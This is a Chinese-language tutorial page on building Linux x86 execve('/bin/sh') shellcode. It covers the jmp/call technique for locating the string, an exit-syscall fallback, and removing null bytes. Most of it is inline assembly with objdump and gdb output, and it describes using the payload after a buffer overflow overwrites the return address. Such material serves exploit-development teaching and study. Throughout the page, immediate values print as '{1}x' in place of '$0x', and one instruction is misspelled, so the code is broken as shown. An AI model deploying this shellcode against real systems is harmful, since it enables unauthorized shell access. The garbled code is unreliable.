歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux編程 >> SHELL編程 >> 進一步完善shellcode的提取

進一步完善shellcode的提取

日期:2017/3/1 11:15:27   编辑:SHELL編程

基本shellcode提取方法:http://www.linuxidc.com/Linux/2011-10/44764.htm

接下來,我們將在上文的基礎上,進一步完善shellcode的提取。

前面關於main和execve的分析,同“基本shellcode提取方法”中相應部分的講解。

如果execve()調用失敗的話,程序將會繼續從堆棧中獲取指令並執行,而此時堆棧中的數據時隨機的,通常這個程序會core dump。如果我們希望在execve()調用失敗時,程序仍然能夠正常退出,那麼我們就必須在execve()調用之後增加一個exit系統調用。它的C語言程序如下:

  1. root@linux:~/pentest# cat shellcode_exit.c
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. int main(int argc, char **argv) {
  5. exit(0);
  6. }
  7. root@linux:~/pentest# gdb shellcode_exit
  8. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
  9. Copyright (C) 2010 Free Software Foundation, Inc.
  10. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  11. This is free software: you are free to change and redistribute it.
  12. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  13. and "show warranty" for details.
  14. This GDB was configured as "i686-linux-gnu".
  15. For bug reporting instructions, please see:
  16. <http://www.gnu.org/software/gdb/bugs/>...
  17. Reading symbols from /root/pentest/shellcode_exit...done.
  18. (gdb) disass exit
  19. Dump of assembler code for function exit@plt:
  20. 0x080482f0 <+0>: jmp *0x804a008
  21. 0x080482f6 <+6>: push {1}x10
  22. 0x080482fb <+11>: jmp 0x80482c0
  23. End of assembler dump.
  24. (gdb)

通過gdb反匯編可以看到現在的gcc編譯器向我們隱藏了exit系統調用的實現細節。但是,通過翻閱以前版本gdb反匯編信息,仍然可以得到exit系統調用的實現細節。

  1. [scz@ /home/scz/src]> gdb shellcode_exit
  2. GNU gdb 4.17.0.11 with Linux support
  3. This GDB was configured as "i386-RedHat-linux"...
  4. (gdb) disas _exit
  5. Dump of assembler code for function _exit:
  6. 0x804b970 <_exit>: movl %ebx,%edx
  7. 0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx
  8. 0x804b976 <_exit+6>: movl {1}x1,%eax
  9. 0x804b97b <_exit+11>: int {1}x80
  10. 0x804b97d <_exit+13>: movl %edx,%ebx
  11. 0x804b97f <_exit+15>: cmpl {1}xfffff001,%eax
  12. 0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error>
  13. End of assembler dump.

我們可以看到,exit系統調用將0x1放入到eax中(它是syscall的索引值),同時將退出碼放入到ebx中(大部分程序正常退出時的返回值是0),然後執行“int 0x80”系統調用。

其實,到目前為止,我們要構造shellcode,但是我們並不知道我們要放置的字符串在內存中的確切位置。在3.1節中,我們采用將字符串壓棧的方式獲得字符串起始地址。在這一節中,我們將給出一種確定字符串起始地址的設計方案。該方案采用的是jmp和call指令。由於jmp和call指令都可以采用eip相對尋址,也就是說,我們可以從當前運行的地址跳到一個偏移地址處執行,而不必知道這個地址的確切地址值。如果我們將call指令放在“/bin/bash”字符串前,然後jmp到call指令的位置,那麼當call指令被執行時,它會首先將下一個要執行的指令的地址(也就是字符串的起始地址)壓入堆棧。這樣就可以獲得字符串的起始地址。然後我們可以讓call指令調用我們的shellcode的第一條指令,然後將返回地址(字符串起始地址)從堆棧中彈出到某個寄存器中。

我們要構造的shellcode的執行流程如下圖所示:

Shellcode執行流程解析:

RET覆蓋返回地址eip之後,子函數返回時將跳轉到我們的shellcode的起始地址處執行。由於shellcode起始地址處是一條jmp指令,它直接跳到了我們的call指令處執行。call指令先將返回地址(“/bin/bash”字符串地址)壓棧之後,跳轉到jmp指令下一地址處指令繼續執行。這樣就可以獲取到字符串的地址。

即:

  1. Beginning_of_shellcode:
  2. jmp subroutine_call
  3. subroutine:
  4. popl %esi
  5. ……
  6. (shellcode itself)
  7. ……
  8. subroutine_call:
  9. call subroutine
  10. /bin/sh

下面,我們用C語言內嵌匯編的方式,構造shellcode。

  1. root@linux:~/pentest# cat shellcode_asm.c
  2. #include <stdio.h>
  3. int main(int argc, char **argv) {
  4. __asm__
  5. (" \
  6. jmp subroutine_call; \
  7. subroutine: \
  8. popl %esi; \
  9. movl %esi,0x8(%esi); \
  10. movl {1}x0,0xc(%esi); \
  11. movb {1}x0,0x7(%esi); \
  12. movl {1}xb,%eax; \
  13. movl %esi,%ebx; \
  14. leal 0x8(%esi),%ecx; \
  15. leal 0xc(%esi),%edx; \
  16. int {1}x80; \
  17. movl {1}x0,%ebx; \
  18. movl {1}x1,%eax; \
  19. int {1}x80; \
  20. subroutine_call: \
  21. call subroutine; \
  22. .string \"/bin/sh\"; \
  23. ");
  24. return 0;
  25. }
  26. root@linux:~/pentest# objdump -d shellcode_asm
  27. 08048394 <main>:
  28. 8048394: 55 push %ebp
  29. 8048395: 89 e5 mov %esp,%ebp
  30. 8048397: eb 2a jmp 80483c3 <subroutine_call>
  31. 08048399 <subroutine>:
  32. 8048399: 5e pop %esi
  33. 804839a: 89 76 08 mov %esi,0x8(%esi)
  34. 804839d: c7 46 0c 00 00 00 00 movl {1}x0,0xc(%esi)
  35. 80483a4: c6 46 07 00 movb {1}x0,0x7(%esi)
  36. 80483a8: b8 0b 00 00 00 mov {1}xb,%eax
  37. 80483ad: 89 f3 mov %esi,%ebx
  38. 80483af: 8d 4e 08 lea 0x8(%esi),%ecx
  39. 80483b2: 8d 56 0c lea 0xc(%esi),%edx
  40. 80483b5: cd 80 int {1}x80
  41. 80483b7: bb 00 00 00 00 mov {1}x0,%ebx
  42. 80483bc: b8 01 00 00 00 mov {1}x1,%eax
  43. 80483c1: cd 80 int {1}x80
  44. 080483c3 <subroutine_call>:
  45. 80483c3: e8 d1 ff ff ff call 8048399 <subroutine>
  46. 80483c8: 2f das
  47. 80483c9: 62 69 6e bound %ebp,0x6e(%ecx)
  48. 80483cc: 2f das
  49. 80483cd: 73 68 jae 8048437 <__libc_csu_init+0x57>
  50. 80483cf: 00 b8 00 00 00 00 add %bh,0x0(%eax)
  51. 80483d5: 5d pop %ebp
  52. 80483d6: c3 ret
  53. 80483d7: 90 nop
  54. 80483d8: 90 nop
  55. 80483d9: 90 nop
  56. 80483da: 90 nop
  57. 80483db: 90 nop
  58. 80483dc: 90 nop
  59. 80483dd: 90 nop
  60. 80483de: 90 nop
  61. 80483df: 90 nop

替換掉shellcode中含有的Null字節的指令:

含有Null字節的指令

替代指令

movl $0x0,0xc(%esi)

movb $0x0,0x7(%esi)

xorl %eax,%eax

movl %eax,0xc(%esi)

movb %al,0x7(%esi)

movl $0xb,%eax

xorl %eax,%eax

movb $0xb,%al

movl $0x1,%eax

movl $0x0,%ebx

xorl %ebx,%ebx

iovl %ebx,%eax

inc %eax

修改後的代碼和反匯編結果如下:

  1. root@linux:~/pentest# cat shellcode_asm.c
  2. #include <stdio.h>
  3. int main(int argc, char **argv) {
  4. __asm__
  5. (" \
  6. jmp subroutine_call; \
  7. subroutine: \
  8. popl %esi; \
  9. movl %esi,0x8(%esi); \
  10. xorl %eax,%eax; \
  11. movl %eax,0xc(%esi); \
  12. movb %al,0x7(%esi); \
  13. movb {1}xb,%al; \
  14. movl %esi,%ebx; \
  15. leal 0x8(%esi),%ecx; \
  16. leal 0xc(%esi),%edx; \
  17. int {1}x80; \
  18. xorl %ebx,%ebx; \
  19. movl %ebx,%eax; \
  20. inc %eax; \
  21. int {1}x80; \
  22. subroutine_call: \
  23. call subroutine; \
  24. .string \"/bin/sh\"; \
  25. ");
  26. return 0;
  27. }
  28. root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
  29. root@linux:~/pentest# objdump -d shellcode_asm
  30. 08048394 <main>:
  31. 8048394: 55 push %ebp
  32. 8048395: 89 e5 mov %esp,%ebp
  33. 8048397: eb 1f jmp 80483b8 <subroutine_call>
  34. 08048399 <subroutine>:
  35. 8048399: 5e pop %esi
  36. 804839a: 89 76 08 mov %esi,0x8(%esi)
  37. 804839d: 31 c0 xor %eax,%eax
  38. 804839f: 89 46 0c mov %eax,0xc(%esi)
  39. 80483a2: 88 46 07 mov %al,0x7(%esi)
  40. 80483a5: b0 0b mov {1}xb,%al
  41. 80483a7: 89 f3 mov %esi,%ebx
  42. 80483a9: 8d 4e 08 lea 0x8(%esi),%ecx
  43. 80483ac: 8d 56 0c lea 0xc(%esi),%edx
  44. 80483af: cd 80 int {1}x80
  45. 80483b1: 31 db xor %ebx,%ebx
  46. 80483b3: 89 d8 mov %ebx,%eax
  47. 80483b5: 40 inc %eax
  48. 80483b6: cd 80 int {1}x80
  49. 080483b8 <subroutine_call>:
  50. 80483b8: e8 dc ff ff ff call 8048399 <subroutine>
  51. 80483bd: 2f das
  52. 80483be: 62 69 6e bound %ebp,0x6e(%ecx)
  53. 80483c1: 2f das
  54. 80483c2: 73 68 jae 804842c <__libc_csu_init+0x5c>
  55. 80483c4: 00 b8 00 00 00 00 add %bh,0x0(%eax)
  56. 80483ca: 5d pop %ebp
  57. 80483cb: c3 ret
  58. 80483cc: 90 nop
  59. 80483cd: 90 nop
  60. 80483ce: 90 nop
  61. 80483cf: 90 nop
  62. root@linux:~/pentest# gdb shellcode_asm
  63. (gdb) b main
  64. Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.
  65. (gdb) r
  66. Starting program: /root/pentest/shellcode_asm
  67. Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5
  68. 5 __asm__
  69. (gdb) disass main
  70. Dump of assembler code for function main:
  71. 0x08048394 <+0>: push %ebp
  72. 0x08048395 <+1>: mov %esp,%ebp
  73. => 0x08048397 <+3>: jmp 0x80483b8 <subroutine_call>
  74. 0x08048399 <+5>: pop %esi
  75. 0x0804839a <+6>: mov %esi,0x8(%esi)
  76. 0x0804839d <+9>: xor %eax,%eax
  77. 0x0804839f <+11>: mov %eax,0xc(%esi)
  78. 0x080483a2 <+14>: mov %al,0x7(%esi)
  79. 0x080483a5 <+17>: mov {1}xb,%al
  80. 0x080483a7 <+19>: mov %esi,%ebx
  81. 0x080483a9 <+21>: lea 0x8(%esi),%ecx
  82. 0x080483ac <+24>: lea 0xc(%esi),%edx
  83. 0x080483af <+27>: int {1}x80
  84. 0x080483b1 <+29>: xor %ebx,%ebx
  85. 0x080483b3 <+31>: mov %ebx,%eax
  86. 0x080483b5 <+33>: inc %eax
  87. 0x080483b6 <+34>: int {1}x80
  88. 0x080483b8 <+0>: call 0x8048399 <main+5>
  89. 0x080483bd <+5>: das
  90. 0x080483be <+6>: bound %ebp,0x6e(%ecx)
  91. 0x080483c1 <+9>: das
  92. 0x080483c2 <+10>: jae 0x804842c
  93. 0x080483c4 <+12>: add %bh,0x0(%eax)
  94. 0x080483ca <+18>: pop %ebp
  95. 0x080483cb <+19>: ret
  96. End of assembler dump.
  97. (gdb) x/s 0x080483bd
  98. 0x80483bd <subroutine_call+5>: "/bin/sh"

Copyright © Linux教程網 All Rights Reserved